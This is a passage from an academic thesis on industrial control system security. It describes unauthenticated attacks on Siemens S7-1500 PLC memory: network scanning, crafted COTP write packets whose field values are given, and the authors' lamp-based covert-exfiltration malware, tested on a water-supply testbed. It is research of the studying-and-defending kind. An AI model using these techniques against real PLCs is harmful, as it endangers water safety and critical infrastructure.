
verify the origin of incoming connections whether they are authorized or not, as a 

result, it is therefore feasible for the creation of rogue engineering stations. These 

stations can send and receive commands to the PLC to alter the operation of the 

system under control. An attacker could plan and execute an attack from a rogue 

station against specific sensor/actuators such as pumps, flowmeters or pressure 

sensors. For example, in a water purification system, the attacker could increase or 

decrease the amount of chlorine that is injected into the water. As a result, the health 

of water consumers would be greatly affected. The second weakness found by 

researchers is that Siemens PLCs with the same model and firmware share an 

identical pair of public and private keys. These keys are used to establish the initial 

communication between the PLC and the monitoring station. An attacker might be 

able to sniff the traffic to collect information related to the control process. The 

attacker could also execute more harmful attacks such as Man-In-The-Middle 

(MITM) against the system. Throughout our research, we found out that the Input 

and Output memory of SIMATIC S7-1500 PLC is also vulnerable to cyber-attacks 

executed by intruders. This is the focus of the research presented in this Chapter and 

will be explained in detail in the following sections.  

3.2.1 SIMATIC S7-1500 memory areas 

Figure 3.1 shows the memory areas in the Simatic S7-1500 PLC.  Those areas 

correspond to the programming device, signal modules and Central Processing Unit 

of the (PLC). The programming device normally a PC which contains an offline 

project programme and data, which are downloaded to the PLC Load Memory and 

is created using software called Siemens TIA Portal (Siemens, 2019). 
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Figure 3.1 Simatic S7-1500 memory areas 

 

 

 

 

 

 

 

 

 

The signal modules contain spaces of memory addressed to input and output 

signals that come from sensors/actuators such as flowmeters, pressure sensors, 

pumps and valves (Siemens, 2019). These spaces of memory are of interest because 

the attacks explained later in this chapter are executed against those specific spaces 

of memory.  

The online data consists of the user program and the system data which are 

located in the CPU. The load memory contains the entire user program which 

includes configuration data (Siemens, 2018). This space of memory is located inside 

the SIMATIC memory card. The user program transferred to the PLC from the 

programming station residing in the work memory, but it is initially transmitted to 

the load memory and then into the work memory.  

The work memory is integrated into the CPU and it is designed as a fast-volatile 

memory where the code and data blocks reside. The work memory is divided into 

two areas: code work memory, which contains the program code and data work 

memory where user data and the data of technology blocks are allocated.   

The retentive memory comprises bit memories, timer/counter functions and 

data tags which are defined as retentive. The values allocated in the retentive 

memory remains after a power failure, however, they are deleted if the memory is 

reset. 
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Figure 3.2 PLC scan 

The system memory contains the process images for inputs and outputs, which 

are a copy of the input and output from the signal modules. It also contains temporal 

local data, which are buffers for program execution in user program blocks. Our 

research focuses on assessing system memory and working memory vulnerabilities.  

3.2.2 SIMATIC S7-1500 operation 

The PLC operates by continually scanning the programs uploaded by the user 

and repeat this process many times per second (Kamel & Kamel, 2014). Figure 3.2 

represents the PLC scan cycle. When put into operation, it performs a self-test by 

running checks on hardware and software such as memory card errors and I/O 

modules. These modules are shown in Figure 3.1. Then it starts a three-step process: 

a) Input scan. PLC detects the state of input devices connected to it. For 

instance: level sensors and flow meters.   

b) Execute program. PLC executes a program one instruction at a time using 

only the copy of its input memory. 

c) Output update. Output memory is updated based on the inputs obtained in 

the first step and the result of executing the program during the second step. 

Detailed information regarding the PLC Scan can be found in Chapter 1, section 

1.4.1. 
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3.3 Attacks to the input/output/work memory of a SIMATIC S7-1500 

PLC 

SIMATIC S-7 1500 PLC uses fixed spaces of memory for the Input/output 

signal modules (Siemens, 2018).  Further, the PLC does not have a mechanism to 

validate incoming connection requests. For that reason, any device (authorized or 

not) that is connected to the control network can communicate with the PLC. 

Throughout our research, we created a set of novel attacks on PLC memory using 

the vulnerabilities mentioned above. We demonstrate in the sections below that the 

execution of these attacks could have a negative impact on any ICS. 

3.3.1 Attack model 

We present a model of attacks to the PLC memory, which can be used to 

understand the possible attack vectors intuitively and concisely. Let us assume K 

denotes the attacker while C  denotes the control process in operation. 

Furthermore, we denote the possible origin of the attacks to the PLC memory 

as T.  Assuming in our testbed scenario, the attacks could be originated from the HMI 

interface denoted as H, the SCADA system denoted as S, any computer connected 

illegally to the network denoted as NC. Thus, we define T as follows: 

𝑇 ≜ {H ∪ S ∪ NC} 

According to our model, every attack originates from an attacker k where k ∈ 

K by a means T  towards a target C. We can model this relationship as follows: 

𝑘 ↦ t  ⇝  c 

where k ∈ K, t ⊆ T and c ∈ C. The notation ↦ maps the attacker to the possible points 

of attack execution and the notation ⇝ leads to the victim. 

As it is described before, the attacks disturb the PLC memory. However, the 

PLC has different spaces of memory that could be affected. Thereby, we denoted A 

as the attack attempted, 𝑎1 attack to the input memory, 𝑎2 attack to the output 

memory and 𝑎3attack to the working memory. Thus, we define A as follows: 

 

𝐴 ⊆ {𝑎1  ∪ 𝑎2  ∪ 𝑎3} 
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  Each attack has a probability of being successful. We denoted the probability of 

the attack as Pa. The probability of the attack defines its severity. The higher the 

probability of an attack the higher the damage into the system. However, in our 

model, a successful attack might affect the system in two different ways. We assume 

that the severity of the attack denoted as R can affect the control operation in two 

ways. It could have a severe impact on the control operation denoted as 𝑟1 or it could 

affect the performance denoted as 𝑟2. The severity of the attack is defined as follows. 

𝑅: 𝑎  → {𝑟1, 𝑟2 } 

where a ∈ A. The high probability of an attack to succeed is denoted as ∂ and a low 

probability is denoted as Ɽ. Hence, the severity of an attack a ∈ A can be represented 

as follows: 

𝑅(𝑎) = 𝑟1  If Pa > Ɽ 

 

𝑅(𝑎) = 𝑟2  If Pb > ∂ 

 

𝑟1 defines an attack that results in stopping the control operation, for instance, 

damage in an actuator like the pump or a tank overflow. On the other hand, 𝑟2 

represents an attack that increases or decreases the water level without affecting 

the entire operation. 

The attack is represented as follows: 

𝑎 ↦ t  ⇝  c, r 

where a ∈ A, t ⊆ T, c ∈ C and r ⊆ R. 
 

Hence, an attack attempted a ∈ A by the intruder k ∈ K to the control process c 

∈ C might affect the performance 𝑟1∈R or the operation 𝑟2∈R. The attacker might 

execute one attack (single point) at the time or multiple attacks (multiple points). 

The attack is considered successful when Pa > Ɽ and Pb > ∂. 
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3.3.2 ICS protocol  

The SIMATIC S7-1500 Advanced Controllers use an industrial Ethernet 

standard (fieldbus) for automation called PROFINET to communicate with other 

devices connected to the same Local Area Network. The PROFINET is not a Siemens 

proprietary protocol, instead, this standard was designed to allow controlling 

equipment in industrial environments with tight time constraints such as 1ms or 

less. The PLC SIMATIC S7-1500 allows integrating with the different environments 

because it provides a wide range of communication capabilities through its 

interfaces. The SIMATIC S7-1500 also supports TCP/IP, UDP, ISO-on-TCP, Modbus 

TCP and more. The attacks discussed in our research explore PROFINET, which is an 

industrial standard for data communication over TCP/IP. Related implementations 

like SWaT employs Modbus TCP (Qing Liu & Yingmei Li, 2006) and WADI devices 

CIP over Ethernet/IP (Ahmed et al., 2017) . Modbus TCP is a protocol with 

vulnerabilities (Kwon, Taeyean and Lee, Jaehoon and Yi, 2016) e.g. it lacks adequate 

security checks in communication between two endpoints which could allow an 

unauthenticated remote attacker to send random commands against any slave 

device using the MODBUS master. However, Profinet protocol provides more secure 

communication and is the most widely used standard in ICS. Therefore, from an 

attacker’s point of view, it is more difficult to issue cyber-attacks against a system 

which implements Profinet (i.e. CWSS) rather than Modbus TCP (i.e. SWaT). 

3.3.3 Packet crafting 

The large variety of protocols supported by the PLC’s allow them to integrate 

diverse control networks, however, from a security point of view, it is also one of the 

biggest challenges when it is required to secure such systems. One of the major 

issues with control protocols is lack of traffic encryption during network 

communication. From an attacker’s point of view, it only requires dissecting the 

TCP/IP packet and then understanding the parameters and values sent during the 

communication among the control devices. To perform the attacks, we craft ISO 

8073/X.224 COTP (Stouffer et al., 2015) packets targeting the input memory spaces 

of the PLC. Figure 3.3 shows the structure of the crafted packet. The Siemens PDU is 

wrapped in the TPKT and ISO-COTP protocols. This allows the packet to be sent over 

TCP/IP. Inside the Siemens PDU the parameter header contains the length of the 
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Figure 3.3 ISO-COTP packet structure 

Figure 3.4 Network reconnaisance 

information, message and message type. The integrity part manages connection 

parameters whereas data contains the values written in the input memory. 

 

 

 

 

3.4 Attack methodology 

In this section, the methodology for attacking the PLC Input Memory is laid out 

assuming that the attacker is already connected to the control network. The attack 

is divided into the steps described as follows. 

3.4.1 Reconnaissance 

The first step of the attack against the PLC is to perform an active 

reconnaissance on the network. This is achieved by scanning the devices connected 

to the control network. By default, the PLC SIMATIC S7-1500 uses the port 102 for 

TCP/IP communications. Thereby, the attacker aims to look for devices with such a 

port open. Figure 3.4 shows the use of the nmap tool to execute the network scan 

and the response obtained from the devices connected to the network. For this 

scenario, we scanned all the devices connected to the network 192.168.0.0/24 with 

the port 102/TCP open. 

 

 

 

 

 We obtained a positive answer indicating that the port 102/TCP is open from 

the device 192.168.0.1. It also reveals that this is a Siemens device. The next step is 

identifying the device connected to the network. To perform this, we crafted an ISO 

8073/X2.224 COTP packet, using the tool Scapy (Lopes et al., 2015), requesting 
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Figure 3.5 Packet request on the left and response on the right 

information from the PLC CPU. Figure 3.5 shows the packet sent over the network 

and the response received from the PLC. As it can be seen, the response received 

shows the PLC model, brand, and CPU model. 

 

 

 

 

 

 

 

3.4.2 Execution of the attack to the PLC memory 

The Siemens PLCs use a fixed space of memory for their inputs and outputs. 

This space of memory is updated in every PLC scan. It is possible to access these 

spaces of memory over the network to allow data loggers to collect information of 

the control process. However, it is also possible for attackers to craft packets and 

overwrite these areas of memory. Figure 3.6 shows the crafted packet sent to the 

PLC over the network. This packet writes in the input space of memory addressed 

to the ultrasonic sensor with a value of 150. The important information is 

highlighted inside the dotted area in Figure 3.6 The value of x05 indicates that the 

TCP/IP network packet contains a write instruction addressed to the input memory 

of the PLC, which is given by the value x81. The following parameter indicates the 

memory address where the ultrasonic sensor is connected, which in this scenario is 

x20. The input memory handles different types of data, such as bit, byte, word, 

dword, real, counter and timer.  

Siemens PLCs use the data type word for analogue input and output devices. 

Hence, the bit that defines the data type in the crafted TCP/IP packet shown in 

Figure 3.6 is set to x04. Next parameter corresponds to the length of the value to be 

written in the input memory of the PLC, which is set to x10 for the TCP/IP packet 

shown in Figure 3.6. It should be noted that the value of x10 is represented in 
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Figure 3.6 Crafted packet to the PLC input memory 

hexadecimal, the representation of such value to decimal is 16. This means that the 

value to be written is composed of 16 bits. The last parameter shown in Figure 3.6 

corresponds to the value injected in the input memory of the PLC. This value is x90, 

which converted to decimal is 150.  Detailed technical information of this attack can 

be found at appendix A.1. Outside the dotted area is the general information of the 

packet sent, such as IP addresses and MAC addresses. 

 

 

 

 

 

 

3.5 WaterLeakage: A practical example of an ICS malware 

WaterLeakage is our novel stealthy malware capable of locating Siemens PLCs 

in the control system network. This malware can be used as part of the 

reconnaissance stage of a sophisticated attack such as Stuxnet. It collects 

information from the input/output memory SIMATIC S7-1500, such as sensors 

related data, CPU model and software version and then it exfiltrates that information 

using lights as a covert channel.  

3.5.1 Threat model 

It has been shown over the years, the feasibility of infecting computers inside 

control networks to execute cyber-attacks or gather sensitive information (Genge et 

al., 2017; Langner, 2011; Liang et al., 2017). In this practical exercise, it is assumed 

that the attacker managed to get access to the physical environment and connect a 

Raspberry Pi (Pi, 2019) to the control system network. The Raspberry Pi contains a 

malware that is programmed to scan and find out what PLC’s are connected to in the 

control network. When a PLC is located, the Raspberry Pi crafts network packets and 

send requests to the PLC aiming to gather sensitive information such as IP address, 

serial number, and CPU status. This information is then exfiltrated from the system 
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using visual channels. This threat model also involves a slow-motion camera as a 

receiver to record the exfiltrated information. Finally, the attacker can decode this 

information by applying image processing techniques on the captured video. The 

available ICS security frameworks (Stouffer et al., 2015), (Nash, 2005) indicate that 

the network switches that belong to the control network should shutdown the 

unused ports, however, this attack is applicable in a scenario where the hacker is an 

insider who already has an access to the organisation (Ginter, 2017).  

A. Insider threat 

ICS can be under different threat in various ways and the source of the attack 

could come from: terrorist groups, skilled hackers, outsourcing companies, natural 

disasters and insiders. The insider is a malicious threat originated within the 

organisation and its actions poses a considerable harm to equipment, financial or 

reputation(Ginter, 2017). A disgruntled insider could be motivated by money, to 

steal data or cause damage to the company’s reputation. Although it should also be 

considered that unintentional employee’s actions such as negligence or recklessness 

could also lead to security breaches(Stouffer et al., 2015). For this practical scenario, 

it is considered that an insider has an access to the control system network and is 

involved in the attack. 

3.5.2 Design and implementation 

This section describes the testbed and methods implemented to demonstrate 

in practice the data exfiltration on ICS using visual channels. 

A. Testbed 

For this experiment, a scaled-down model of a clean water supply system is 

implemented in the Festo MPS PA Compact Workstation Rig (FESTO, 2015). Figure 

3.7 shows the testbed scenario employed in the experiment described in this 

chapter. The Festo Rig simulates an essential utility such as an uninterrupted clean 

water supply system. Its components (sensors and actuators) are hardwired to the 

Simatic S7-1500 PLC (Siemens, 2018). The control strategies and operator 

interfaces are programmed and configured using TIA Portal V14. The PLC and the 

Supervisory Control and Data Acquisition System (SCADA) are able to communicate 

by means of a network switch. This communication link represents the control 

system network. The Raspberry Pi connected to the control system network 
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Figure 3.7 Testbed 

represents the component placed by the adversary. It is programmed to collect and 

exfiltrate the information obtained from the control process using two lamps 

attached to the Festo Rig. The visual information is captured by a video receiver and 

then processed by a computer in order to decode the original sensitive data. 

Technical information regarding the implementation of the clean water supply 

system will be discussed in Chapter 4. 

 

 

 

 

 

 

 

B. Stealthy waterleakage malware 

The Raspberry Pi connected to the control network contains the stealthy 

WaterLeakage malware which is developed in Python 2.7.15. The malware starts its 

operation and targets devices connected to the control system network that are 

listening for incoming connections on the port 102. This is the port used by default 

in the Siemens PLCs. To achieve this, the malware executes a network scan using the 

NMAP tool (NMAP, n.d.) against that specific port aiming to obtain the list of the 

PLC’s IP Addresses in the control system network. The second stage of the malware 

is to start obtaining information from the different memory spaces from the PLC. 

This goal is feasible as Siemens supports a wide range of protocols over Ethernet. 

Thus, it is possible to collect information from the Siemens PLC by crafting ISO 

8073/X.224 COTP packets (Stouffer et al., 2015). Another advantage for the attacker 

is that Siemens PLCs use fixed spaces of memory for addressing the Inputs and 

Outputs. Thereby, at this stage, the attacker may also read the values provided by 

the sensors connected to the Input memory and the values sent to the actuators 

through the Output memory. 
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It should be noted that from the Simatic S7-1200 model onwards, Siemens 

introduced a new feature called memory optimisation with the intention of 

allocating data-blocks and function-blocks in a given space of memory. This feature 

makes it difficult for the attacker to obtain information from that specific space of 

memory. On the other hand, it is possible to obtain such information in older models 

where the Input, Output and Working memories are fixed. In the third stage of the 

attack, the information collected from the PLC memory is transformed from text to 

binary using the binascii module available in Python (Foundation, n.d.). Finally, to 

exfiltrate the information the lamps Q1 and Q2 attached to the Festo Rig are used. 

These lamps are showed as part of the testbed in Figure 3.6. Lamp Q1 (on the left-

hand side of Festo Rig) represents 0 and lamp Q2 (on the right-hand side of Festo 

Rig) represents 1. These lamps are connected to the digital output of the PLC. It can 

be argued that in a real ICS the PLC is not used for driving lamps because in most 

scenarios its interface uses touch screen or computer technology. However, it is still 

a common practice to drive some status indicators using lamps. 

C. Sender 

Many parameters need to be considered by an attacker before exfiltrating the 

information from the Control Process through the Lamps. It is well-known that in 

average a human’s eyes can perceive flickers that occur at about 60Hz (He et al., 

1997), (Council, 1995). For this reason, the attacker should consider the frequency 

of data transmission to avoid detection. Figure 3.8 shows an analysis where X-axis 

represents the delay between each packet before it is exfiltrated through the 

corresponding lamp and the Y-axis represents the time taken to exfiltrate 942 bits 

of data. It can be seen that the shorter the delay, the less time it takes to transmit the 

message. It takes 9.21 seconds to transmit the 942 bits of data when no delay is 

expected between the packets. 
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Figure 3.8 Time taken to exfiltrate 942 bits of data. 

 

D. Receiver 

A receiver is required to decode the extracted message, for instance, a video 

camera that is near or with a line of sight with the visual channel. As mentioned 

previously, it is the attacker’s choice whether to use high frequency to send the data 

in a shorter time or use a lower frequency, which needs a longer time. However, 

sending the information at high frequency requires a more sophisticated receiver 

capable of capturing the exfiltrated data. On average, the default configuration for a 

video recording camera is 30 frames per second with a resolution of 720 pixels. This 

configuration allows to receive the exfiltrated sensitive data through the lamps but 

only when the data is transmitted at a low frequency. For higher frequencies, it 

requires a video recorder with slow-motion features. Nevertheless, better quality 

and more sophisticated features demand more storage capacity. Figure 3.9 shows 

the storage analysis with two different video resolutions. These resolutions were 

used to record the same 942 bits of data represented in Figure 3.8 The X-axis 

represents the time taken to transmit the bits and the Y-axis represents the storage 

required in Megabytes. The greater the transmission time, the greater the storage 

required in the receiver device.  
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Figure 3.9 Video quality – storage required. 

Figure 3.10 Network scan result. 

 

 

 

 

 

 

 

3.5.3 Results 

This section describes the practical experiments of the stealthy WaterLeakage 

malware in addition to the feasibility of the proposed approach. 

A. Network scan 

NMAP is a lightweight and powerful host discovery tool with a considerable 

number of features available to use. The malware only uses the TCP SYN Scan 

feature of NMAP because it performs quickly and without raising alarms from 

security devices placed on the network such as firewalls. Figure 3.10 shows the 

command used to execute the network scan, the flag -sS means TCP SYN Scan 

(NMAP, n.d.). The range of IP Addresses scanned are from 192.168.0.1 to 

192.168.0.254. The flag -p at the end of the command indicates that the scan 

considers only the port 102. 

 

 

 

 

The result of the scan shows that the IP address 192.168.0.1 satisfies the 

requirements previously described because the port 102 is open and also the type 

of service ISO-TSAP (International Standard Organization – Transport Service 

Access Point) is available. This protocol was designed years ago with no security in 

mind with the intention to be open and reliable, thus, it is not secure. Further, the 
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Figure 3.11 Request PLC information. 

report provides the MAC address of the device and it indicates that it is a Siemens 

device.  

 

B. Information gathering 

To obtain information from the PLC we craft an ISO-COTP (COTP uses TSAP) 

packet emulating a connection from an external client. Siemens PLCs do not 

distinguish between authorized and unauthorized connections, for this reason, it is 

possible to request information pretending to be an authorized client. We use the 

SCAPY tool (Lopes et al., 2015) to generate the packet. Further, we use the 

Wireshark tool to monitor the network activity between the Raspberry Pi and the 

PLC. Figure 3.11 shows the packet that requests information from System Status List 

(SZL).  

 

 

 

 

The PLC receives, processes and sends the response with the information 

available on the SZL. Figure 3.12 shows the information retrieved from the PLC. The 

detail of this information is shown in Table 3.1. Moreover, we also collected the CPU 

Status crafting and sending a new packet to the PLC. It should be considered that 

with the information collected so far, the attacker would be able to plan a more 

sophisticated and tailored attack. For instance, we could explore a database of 

security vulnerabilities like Common Vulnerabilities and Exposures (CVE) (MITRE, 

2020) and look for published vulnerabilities that match the ASName or Module 

Type. The PLC brand and model may allow the attacker to access vulnerabilities and 

exploits that might be already available. This information is finally stored and 

converted to binary as shown in Figure 3.13 The text message is a sequence of the 

collected information separated by a comma. Moreover, as Siemens PLC addresses 

the Input and Output memory in fixed spaces, it is possible to access these spaces. 

Figure 3.14 shows the network packet crafted and the response sent to the PLC. 
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Figure 3.12 PLC response 

Figure 3.13 First message Figure 3.14 Packet request and response to Input 
memory IW4 

Table 3.1 Information extracted from PLC 

  

 

 
 

 
  

 
 
 
 
 
 
 
 
 

 
 

 
 
 

 

This packet reads the Input area of the PLC memory addressed to the 

ultrasonic sensor (IW4). As a result, we obtain the value available at that moment 

(scan) in this area of memory. Furthermore, we crafted additional packets to read 

the entire space of the PLC memory addressed to Input and Outputs devices. This 

information could be useful for an attacker who wants to learn about the control 

process operation. The PLC used in this practical approach has six analogue sensors 

and two analogue actuators connected to the Input and Output memory. Hence, the 

information from the Input and Output memory of the PLC are collected and shown 

in Figure 3.15 along with the description of the characters next to the integer values. 

 

 

 

 

 
 

 

Tag Value 

Module Type CPU 1516-3 PN /UP 

Serial Number S C-FDS57096201 5 

ASName S71500/ ET200MP 

station_1 

Vendor Original Siemens 

Equipment 

Module Name PLC_1 
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Figure 3.15 Second message 

 
 

 
 
 
 
 
 
 

 

 

 

C. Exfiltrating data 

In the last step, the sensitive information is exfiltrated through a visual 

channel. It should be noted that in order to succeed in this task the attacker needs 

to know the output addresses of the lamps in advance. The task of turning on and 

off the lamps involves writing 0 or 1 to the Output memory of the PLC. To achieve 

this, we craft and send a packet over the network with that request. The binary 

message to exfiltrate through the lamps is shown in Figure 3.12 and it contains 942 

values. To exfiltrate the message we consider three different scenarios. I) The 

sensitive information is exfiltrated as fast as possible, II) The sensitive information 

is exfiltrated adding 0.02 seconds of delay between the packets, and III) The 

sensitive information is exfiltrated adding 0.5 seconds of delay between the packets. 

We chose these three scenarios because they allow us to calculate the amount of 

space required to store the sent message and the time taken to transmit the message 

under different conditions. Thereby, the attacked can choose a scenario that suits 

his needs.  

D. Data reception and processing 

To receive the message, we place a video recorder camera one meter away 

from the lamps. We record the message using two video resolutions as it is shown 

in Table 3.2. It is impossible to recover the message when the video camera is 

recording in normal resolution (720p 30fps) and a delay from 0 to 0.4 seconds is 

added between the transmission of the packets. Slow-motion resolution, for 

instance, 720p 240fps, show better performance for this scenario. There are a 

considerable number of studies for video processing analysis. Thresholding, is a 

technique used to process still images, it separates the object in observation from 
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Figure 3.16 Imagine processing, 
background substractor 

the background (Sahoo & Arora, 2006). This technique is effective in detecting 

changes in video frames, but it is prone to errors due to lighting changes. Another 

technique used to process video frames is inter-frame differencing. It makes 

stationary objects disappear and keeps only traces of moving objects between two 

frames (Tanaka & Miura, 2019). This technique succeeds in detecting temporal 

changes, but it fails when the objects under review are not sufficiently textured or 

uniform. To overcome the drawbacks mentioned above, we apply the background 

subtractor method (Ashwini et al., 2017; W. Zhang et al., 2016) which focuses on 

detecting the difference between the current frame and the reference frame 

extracted from the video recording. The main advantage of background substractor 

is that the background image can be specified manually. An example of this process 

is shown in Figure 3.15 where the reference frame is extracted at the beginning of 

the video. This frame has no lights turned on. The current frame, referenced in 

Figure 3.16 as Frame, varies along with the video sequence. The result of the 

subtraction of both images is transformed into RGB format because it allows us to 

analyse the pixels on this image in detail and to detect whether the lamp turned on 

is Q1 or Q2. Consequently, we can convert the stream of binary sent through the 

lamps. Finally, the exfiltrated information is converted from binary to text using the 

same python module called binascii. 

 
 
  

     Table 3.2 Performance comparison with different packet 
delays 

Message 

(bits) 

Delay 

Between 

Data 

Packets 

(s) 

Time Taken 

to transmit 

the packets 

(s) 

Resolution 

Required 

Storage 

required 

(Mb) 

942 
0 9.21 720p 

240fps 

26.1 

0.02 29.62 720p 

240fps 

89.92 

0.5 481 720p 30fps 320.67 

 
 
 
 
 
 

Unlike the existing work, the WaterLeakage malware is a plug and play 

malicious software that does not need any configurations nor code installations on 

the susceptible PLC. It targets the PLC vulnerabilities currently available in the 

market to exfiltrate its sensitive information such as IP address, sensor related data, 
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CPU model, software version, and different memory spaces (e.g. PLC Input and 

Output memory). This sensitive exfiltrated information can be obtained during the 

reconnaissance phase which can further be used by the hacker/malicious insider to 

launch more devastating cyber-attacks on the ICS. 

 

Currently, exfiltration of data is categorized into three broad areas: Internet of 

Things (IoT), traditional computer systems, and smartphones, as described in the 

literature review, in Chapter 2. So far, ICS is briefly included in the IoT category 

when it comes to the exfiltration of data, however, this research wants to propose a 

new category for critical infrastructures and control systems which is called ICS. 

Thus, table 3.3 summarises the performance of different types of existing covert 

channel methods. Our method shows a faster transmission rate compared to similar 

exfiltration methods such as (Ronen & Shamir, 2016), moreover, the exfiltrated 

information corresponds to a critical infrastructure, therefore, an attacker could use 

this information to execute attacks that will have a greater impact than the study 

conducted by (Ronen & Shamir, 2016).  Our method shows a faster transmission 

rate compared to (Zheng Zhou et al., 2018), (M Guri et al., 2014) (Ronen & Shamir, 

2016) and (Schlegel et al., 2011) which are presented in Table 3.3. One of the 

advantages presented in our scenario compared to the studies presented in Table 

3.3 is that the receiver can be any mobile device with slow motion capability. In the 

study presented by (M Guri et al., 2014), the receiver requires a specific mobile 

application while in our approach any standard mobile camera application can 

capture the message. The study close to ours presented by (Ronen & Shamir, 2016) 

requires a receiver composed of: Laptop, Light Sensor, Arduino Board and 

Telescope, which represents a complex scenario when compared to our approach. 

One feature that the related work does not analyse is the storage required to store 

the messages when visual channels are used as it can be seen in Table 3.3. This work 

takes into account the storage of the device because the capture of videos requires 

considerable amounts of storage as can be seen in figure 3.9. 
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Table 3.3 Covert channels researches performance comparison 

Author 
Categ

ory 
Channel 
Medium 

Infectio
n 

Transmitter Receiver Distance(m) 
Transmissio

n Rate 

(M 

Guri et al., 

2014) 
 

IT 
Netwo
rks 

FM 
Signals 

AirHopp
er 

Monitor 
Mobile 
Phone 

8 - 20 12.5 bit/s 

(Ronen & 

Shamir, 2016) IoT 
Smart 
Lights 

Malware Lamps 

Laptop, 
Light 
Sensor, 
Arduino 
Board, 
Telescope 

up to 100m 10kb per day 

(Zheng Zhou et 

al., 2018) 

 

IoT 
Infrared 
Signals 

Malware 

Keyboard 
with infrared 
sensor 
embedded 

Smart Tv 
Box 

up to 10m 3.15 bit/s 

(Mordechai 

Guri, Zadov, 

Bykhovsky, et 

al., 2018) 

 

IT 
Netwo
rks 

Power 
Lines 

Malware Computer 

Electrical 
Tap 
connected 
to 
computer 

N/A 

1000 bit/s 
for the line 
level 

N/A 

10 bit/s for 
the phase 
level 

(Mordechai 

Guri, Zadov, 

Daidakulov, et 

al., 2017) 

IT 
Netwo
rks 

Status 
Leds 

Malware 
Switch 
Router 

Camera - 
Light 
Sensor 

N/A 

15 bit/s at 
30fps with 
Sony 
SNCEB600, 
120bit/s at 
240bps with 
GoPro Hero5 

(Schlegel et al., 

2011) 

Smart
phone
s 

Smartph
one 
Hotline 
Bank 
Calls 

Soundco
mber 

File Lock N/A N/A 685bps 

Vibration N/A N/A 87bps 

Screen 
Settings 

N/A N/A 5.29bps 

Volume N/A N/A 150bps 

This Work 
ICS Light 

WaterLe
akage 

Lamps 
Digital 
Camera 

20m 
102bit/s at 
240fps 

 

 

3.6 Conclusions 

In this chapter, the impact of network attacks on the area of memory 

addressed to the PLC inputs is analysed. The attacks performed could disrupt the 

control system operation bringing the system to an unstable state. The attacks are 

performed to the input memory of the PLC; however, it should be noted that it is also 

possible to execute the same attacks to the PLC output. For instance, the attacker 

could drive the pump at different speeds by overwriting the space of memory 

addressed to it. 

To show the impact of the attacks to the PLC Memory, a novel stealthy malware 
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named as WaterLeakage is presented. The Malware is capable of collecting and 

exfiltrating sensitive information such as PLC CPU Model, IP address and values 

provided by sensors, from a control process using a covert channel attack. Hackers 

usually exfiltrate sensitive data in a discrete manner, for this reason, we presented 

different situations, where the frequency of the light is used to exfiltrate the binary 

message. This depends on the scenario, for example, in some situations, the message 

might be required to be sent as fast as possible and in others, the slower 

transmission is more suitable. Moreover, it should also be considered that storage 

capacity in the receiver might be a key point when planning the attack.  

Additionally, we highlight that staff with high knowledge and technical skills 

pose a considerable risk to the company when they are colluding with the attacker. 

Additionally, the Input and Output memory of Siemens PLCs are fixed spaces that 

could be overwritten through the network. It represents a high threat to the control 

process because the values provided by the sensors connected to the PLC inputs 

might be manipulated. Besides, the attacker might also compromise the actuators 

when the Output memory of the PLC is attacked. It should also be considered that 

PLC models older than the Siemens S7-1200 use fixed spaces for the working 

memory, as a result, the entire memory could be corrupted and overwritten with 

values injected by the attacker. 
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Chapter 4:  Clean Water Supply System; A physical 
approach 

 

4.1 Introduction 

This chapter describes the design and implementation of the physical 

testbed used for cybersecurity analysis of Industrial Control Systems. 

The testbed represents a model of a Clean Water Supply System 

(CWSS) in a custom version of the Festo MPA Process Control Rig and 

the SIMATIC S7-1500 PLC. Through the course of this research, two 

versions of the CWSS testbed were developed and implemented. The 

initial model was implemented as a proof of concept, while the second 

version is more realistic by adding parameters such as water demand. 

The Festo Rig is modified from its original implementation aiming to 

make the CWSS more lifelike. Moreover, this testbed implements 

water demand models based on the real model of power consumption 

in the UK. Further, this chapter provides the implementation of the 

hybrid and virtual representation of the CWSS testbed aiming to 

discuss the benefits and drawbacks of physical testbeds in comparison 

with its hybrid and virtual counterpart. The output of this Chapter has 

been sent for publication in ISA Transactions which is a journal of 

advances and state-of-the-art in the science and engineering of 

automation and control. 

4.2 Research questions 

The experiments conducted in this Chapter aim to describe the advantages and 

disadvantages of using physical, hybrid and virtual testbeds for cybersecurity 

research on ICS. The research questions that will be answered in the course of this 

Chapter are described below. 

• Research Question 1. How does a hybrid and virtual implementation of a 

clean water supply system differ during normal operation and under 

attack scenarios in comparison with the physical model of such system? 
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• Research Question 2. Can we rely on mechanism of anomaly detection on 

ICS which are developed and tested on virtual platforms? 

 

4.3 Clean Water Supply System: design and implementation 

Currently, cybersecurity research in critical infrastructures is mostly 

performed in hybrid and virtual testbeds due to the high cost of implementing a 

physical representation of such system. In Chapter 2, we address the state-of-the-

art in the literature related to testbed implementations of physical infrastructures 

intended for research. For instance, Secure Water Treatment (SWaT) consisting of 

six different stages, is a testbed that serves as a benchmark among researchers due 

to its size and complex infrastructure. However, experimentation and access to this 

testbed are rather limited. Further, the set of attacks used when recording datasets 

are limited to DoS and Man-In-The-Middle. Those attacks have been studied for 

years and there is a considerable amount of commercial solutions that already tackle 

such attacks. For those reasons, we implement our own physical testbed for 

cybersecurity research which implements a clean water distribution system. This 

implementation is described in the course of this Chapter. 

An uninterrupted clean water supply is an essential utility. Mains water is 

usually gravity fed to a surrounding area from a water tank located at a height to 

sustain a suitable delivery pressure. In this exercise, it is considered such a tank to 

be supplied from a downhole pump providing naturally filtered water from a water 

table some distance underground. The initial concept of the CWSS testbed was to 

physically model an uninterrupted clean water supply using the Festo MPA Process 

Control rig in the configuration shown in Figure 4.1(FESTO, 2015). The aim of the 

testbed is to maintain the required tank water level set point using one control loop 

in B102 tank.   

The water is pumped via a variable speed drive so that the required tank water 

level can be maintained while the demand from the tank varies throughout the day. 

The water level of the tank is measured as the process variable (PV) for closed-loop 
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Figure 4.1 Default configuration festo rig (on the left). Festo rig control diagram (on the right) 

control of the delivery pump to maintain the required tank water level set point (SP). 

Minimising pump switching in this way reduces the pressure surges in the supply 

line and optimises tank storage capacity in event of high demand periods. A solenoid 

valve V102, simulates the demand from the tank. When the water is in demand, the 

downhole pump starts transferring water to the main tank until it reaches a set point 

level. With the original Festo rig configuration, the water going through the pipeline 

goes to B101 tank using a solenoid valve. This valve can only be either open or close. 

 

 
 

 

 

 

 

 

 

However, for a more realistic approach and also to model a better water 

demand curve, the configuration of the Festo Rig was modified. The new 

configuration is shown in Figure 4.2. The solenoid valve, which is tagged with V102 

on Figure 4.2, was swapped with the proportional valve, which is tagged with V106. 

The control implementation was tested after switching the proportional and 

solenoid valves. The results showed that the water pressure going from the 

